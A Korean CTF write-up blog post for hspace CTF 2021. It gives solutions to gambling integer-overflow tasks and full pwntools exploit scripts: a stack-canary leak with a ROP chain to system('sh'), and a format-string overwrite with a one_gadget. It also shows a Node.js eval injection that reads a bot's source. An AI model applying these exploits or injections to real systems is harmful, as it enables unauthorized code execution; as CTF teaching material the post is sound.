본문 바로가기
CTF

[CTF] hspacectf 2021 writeup

by snwo 2021. 4. 24.

야호~ 미스크킬러로 13등했다. 치킨도 받았다

 

 

 

포너블 차례대로 No sc, Gambling1, Gambling 2

 

No sc 는 그냥 쉘코드전송하면 mmap 에 입력받고 mmap 영역을 호출해 쉘을 딸 수 있다.

 

Gambling 1, 2 는 같은 바이너리파일인데 소스가 주어진다.

 

소스코드

더보기

소수코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
// gcc -o gambling gambling.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
 
int win;
 
void read_flag1(){
    char buffer[100];
    FILE *fp = fopen("flag1.txt""r");
    fgets(buffer, sizeof(buffer), fp);
    printf("%s\n", buffer);
    fclose(fp);
}
 
void read_flag2(){
    char buffer[100];
    FILE *fp = fopen("flag2.txt""r");
    fgets(buffer, sizeof(buffer), fp);
    printf("%s\n", buffer);
    fclose(fp);
}
 
 
void make_random(){
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    read(fd, &win, 4);
}
 
int gambling1(){
    int money = 1000;
    int bat, luckynum;
 
    make_random();
    printf("[chall] gambling1\n");
    printf("Start Gambling!\n\n");
 
    while(money >= 0){
        printf("current your money : %d\n\n", money);
        printf("bat your money\n");
        printf("bat money : ");
        scanf("%d"&bat);
        printf("choose lucky number : ");
        scanf("%d"&luckynum);
        
        printf("\nlucky number is %d\n", win);
        if(luckynum == win){
            printf("You Win! ");
            printf(" + %d money\n", bat);
            money += bat;
        } else{
            printf("You Lost! ");
            printf(" - %d money\n", bat);
            money -= bat;
        }
        make_random();
 
        if(money > 9999999){
            printf("You are rich!!!!\n");
            return 1;
        }
    }
    printf("You are a beggar!\n");
 
    return 0;
 
}
 
int gambling2(){
    int money = 1000;
    int bat, luckynum;
 
    make_random();
    printf("[chall] gambling2\n");
    printf("Start Gambling!\n\n");
 
    while(money >= 0){
        printf("current your money : %d\n\n", money);
        printf("bat your money\n");
        printf("bat money : ");
        scanf("%d"&bat);
        if(bat < 0){
            bat = bat * (-1);
        }
        if(money - bat < 0){
            bat = bat % money;
        }
        
        printf("choose lucky number : ");
        scanf("%d"&luckynum);
            
        printf("\nlucky number is %d\n", win);
        if(luckynum == win){
            printf("You Win! ");
            printf(" + %d money\n", bat);
            money += bat;
        } else{
            printf("You Lost! ");
            printf(" - %d money\n", bat);
            money -= bat;
        }
        make_random();
 
        if(money > 10000){
            printf("GOOD!!!\n");
            return 1;
        }
    }
    printf("BAD!\n");
    return 0;
}
 
 
int main(){
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Hello! This is a challenge for system hacking newbies.\n");
    printf("I hope you enjoy it.\n\n");
 
    if(gambling1()){
        printf("\n======================================\n");
        printf("Congratulation!\n");
        read_flag1();
        printf("======================================\n\n");
    }
    else{
        return 0;
    }
 
    if(gambling2()){
        printf("\n======================================\n");
        printf("Congratulation!\n");
        read_flag2();
        printf("======================================\n\n");
    }
 
    return 0;
}
 
cs

Gambling 1 은 음수체크를 하지 않아, 음수를 배팅하면 그만큼 money 가 늘어나 FLAG 를 출력해주고, 

 

Gambling 2 는 음수면 -1 을 곱하고, money - 배팅한 금액 < 0 이면 , bet = bet%money 가 된다.

이 소스를 참고해보자. bet 와 money 는 int 형(4byte) 로 선언되어있고,

최대값은 2^31-1 (2147483647, 이진수로 0111 1111 ~~~~~)

 

근데 2147483648 (2^32, 이진수로 1000 0000 ~~~~~~ ) 을 입력하면,

MSB 가 1이니까 음수취급되어 -1 을 곱하게 되는데,

 

신기하게도

 

MSB 가 이미 1로 설정되어있으므로, -1 ( 1111 1111 ) 을 곱해도

숫자가 그대로다 !

 

그래서 bet=bet%money 를 실행했을 때, bet 는 음수가 되고, money 를 증가시킬 수 있다.

money 가 0이 될 때까지 실행되니, 계속 2**31 을 입력하다보면 FLAG 를 출력해준다.

 

 

못 푼문제 : Seoul Housing, Financial Stability Forum

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
# r=remote("183.109.94.101",9100)
r=process("./chall")
b=ELF("./chall")
lib=b.libc
context.log_level='debug'
 
pay1=b'x'*0x109
r.send(pay1)
r.recvuntil("output > ")
# pause()
d=r.recvline()
canary=u64(b'\x00'+d[0x109:0x109+7])
pie_base=u64(d[0x109+7:0x109+13].ljust(8,b'\x00'))-0xa10
log.info(hex(pie_base))
log.info(hex(canary))
 
prdi=0x0000000000000a73
sh=0xa99
pay2=b'x'*0x108
pay2+=p64(canary)
pay2+=p64(0)
pay2+=p64(pie_base+prdi)
pay2+=p64(pie_base+sh)
pay2+=p64(pie_base+prdi+1)
pay2+=p64(pie_base+b.plt['system'])
pause()
r.send(pay2)
r.interactive()
 
cs

pie, canary 가 있어서, canary+1 까지 입력한 다음 (canary 첫바이트는 NULL)

canary 와, 옆에 붙어있는 rbp 를 leak 해서 pie_base 를 계산한다.

 

sub_88a 에서 system("ps -ash") 를 호출해 주는데,

pop rdi 가젯으로 sh 에서 자른주소를 인자로 system 함수를 호출하면 된다.

이 때, system 함수에 movaps 에서 에러날 수 있으니까, ret 하나 더 붙여주는거 잊지말자 (prdi+1)

 

Financial Stability Forum

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
#r=remote("183.109.94.101 ",9101)
r=process("./chall")
b=ELF("./chall")
lib=b.libc
pay="%139$p %6$p"
r.sendlineafter("> ",pay)
d=r.recvline().split()
base=int(d[0],16)-0x21bf7
stack=int(d[1],16)-0xe0
 
one_gadget=base +0x10a41c  #0x4f3d5
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16& 0xffff
one_gadget_high = (one_gadget >> 32& 0xffff
 
low = one_gadget_low
 
if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low
 
if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle
 
payload = ''
payload += '%{}c'.format(low)
payload += '%13$hn'
payload += '%{}c'.format(middle)
payload += '%14$hn'
payload += '%{}c'.format(high)
payload += '%15$hn'
payload += 'A' * (8 - len(payload) % 8)
payload=payload.encode()
payload+=p64(stack)
payload+=p64(stack+2)
payload+=p64(stack+4)
 
log.info(hex(base))
log.info(hex(one_gadget))
pause()
r.sendafter("> ",payload)
r.interactive()
cs

 

 

fsb 문제이다. 스택에 있는 스택값 leak ( "./chall" 의 주소로 아마 argv[0] 인 듯), 그리고 ret (__libc_start_main) leak

한 뒤, 원샷 가젯을 ret address 써주면 된다. 이 때, 하위 2바이트만 덮어도 된다 하셨다. (n1net4il !)

 

misc 문제들 순서대로 EZ_Babymath, baskin robbins, ehdna!, K-uroNeko, CHICKEN COIN, servey (설문조사)

EZ_Babymath

더보기
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import hashlib
 
= 31337
= 0x31337
key = ''
= 0
= 0
 
enc = b'\x07+\xe5]\x87\xfb\xa4{\x10\xfc\xde\xfd\xf7\xd5\x10Gx\x83UV\r\xc5$\x8brI\xce\xf1\x1dB\xfa\x8b'
 
while n:
    n -= 1
    i += 1
    b = i
    c = 1
    while b:
        b -= 1
        d = 0
        e = i
        while e:
            e -= 1
            f = c
            while f:
                f -= 1
                d += 1
        c = d
    a = c
    while a >= m:
        d = a
        e = m
        c = 0
        while d:
            d -= 1
            c += 1
        while e:
            e -= 1
            c -= 1
        a = c
    if n < 3:
        key += str(p)
    while p:
        p -= 1
        a += 1
 
    p = a
    
key = hashlib.sha256(key.encode()).digest()
print(bytes((k ^ f for k, f in zip(key, enc))))
 
cs

 

소수코드다. 뭔가 key 를 생성해서 sha256한다음에 enc 와 하는데, 문제는 key생성이 while문때매 너무 오래걸린당.

while p:
        p -= 1
        a += 1

근데 이런 부분을 보면, 그냥 a+=p 로 바꿀 수 있다. 그래서 코드를 최적화해봤당

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 
while n:
    n -= 1
    i += 1
    b = i
    c = 1
    c=i**b
    a = c
    # print(f"first:{a}")
    a%=m
    # print(f"sec:{a}",end='\n\n')
    if n < 3:
        key += str(p)
    p = a+p
    print(n)
cs

 

짠 ~, while n : 도 최적화할 수 있을 것같았는데, 그냥 2분정도 기다렸다.

 

baskin robbins 31

xor 31 하면 된다. base31 이런거 있을 줄알고 삽질했다.

b''.join([bytes([k^j]) for k,j in zip(text,b'\x1f'*len(b))])

wlo~|zd[/@j@Tq/H@g/Mb -> hspace{D0_u_Kn0W_x0R}

 

endna!

Four Delta Six Five Seven Three Seven Three Six One Six Seven Six Five Two Zero Six Six Seven Two Six Foxtrot Six Delta Two Zero Six Eight Six One Six Three Six Bravo Six Five Seven Two Two Zero Six Nine Seven Three Two Echo Two Echo Two Echo Two Zero Six Eight Seven Three Seven Zero Six One Six Three Six Five Seven Bravo Six Eight Six Five Six Charlie Six Charlie Six Foxtrot Five Foxtrot Six Nine Five Foxtrot Six One Six Delta Five Foxtrot Six Echo Three Zero Three Zero Three Zero Three Zero Three Zero Three Zero Six Two Five Foxtrot Seven Seven Six Five Three One Six Three Six Foxtrot Six Delta Six Five Five Foxtrot Seven Four Six Foxtrot Five Foxtrot Four Eight Seven Three Seven Zero Six One Six Three Six Five Five Foxtrot Four Three Five Four Four Six Five Foxtrot Six Seven Three Zero Three Zero Six Four Five Foxtrot Five Foxtrot Five Foxtrot Five Foxtrot Six Charlie Seven Five Six Three Six Bravo Seven Echo Seven Echo Two One Two One Seven Delta

 

제로 원 투 뜨리 ~ 나인 은 숫자로 변환해주고,

브라보, 폭스트롯, 델타 같은 애들은 앞글자만 따와서 변환해주면, hex 문자열이 나오는데,

ascii 코드로 문자화해주면 된다.

 

나느 One, Two, Three ~~ / Delta Foxtrot Bravo ~~ 이런 문자열들을

딕셔너리화 시켜서 해당하는 숫자 or 문자로 바꿔주었다.

 

K-uroNeko

 

kuroneko 님에게 카톡을 하면

이렇게 봇이 응답한다. 근데 가끔씩 읽으시는 것같다.

 

.eval require('fs').readFileSync('./app.js').toString()

입력하면 소스 위에 flag 가 있다.

 

CHICKEN COIN

 

소수코드

더보기

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
 
import random
import socket
import hashlib
 
difficulty = 7
 
while True:
    msg = f"hspace{random.randint(0,9999999999999)}"
    hash = hashlib.sha1(msg.encode()).hexdigest()
    if hash.startswith("0"*difficulty):
        break
 
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("133.186.211.42",10001))
s.send(f"{msg}\n".encode())
print(s.recv(58))
 
cs

원래소스는 difficulty 가 8이였고, 선착순 3명 선물이벤트였다.

몇주 전에 비트코인채굴하는 니콜라스 영상에서 본 내용이였다.

해시했을 때, 앞에 0 나오는 개수만큼 어려워서 좋은그래픽카드로 채굴하는게 이런거였나? 아무튼 그렇다.

difficulty 가 8이였을 때는 안나오다가, 7되니까 좀 지나서 나왔당. 그냥 실행시키면 알아서 flag 를 받아온다.

 

Servey

설문조사추첨 5명 치킨 야호~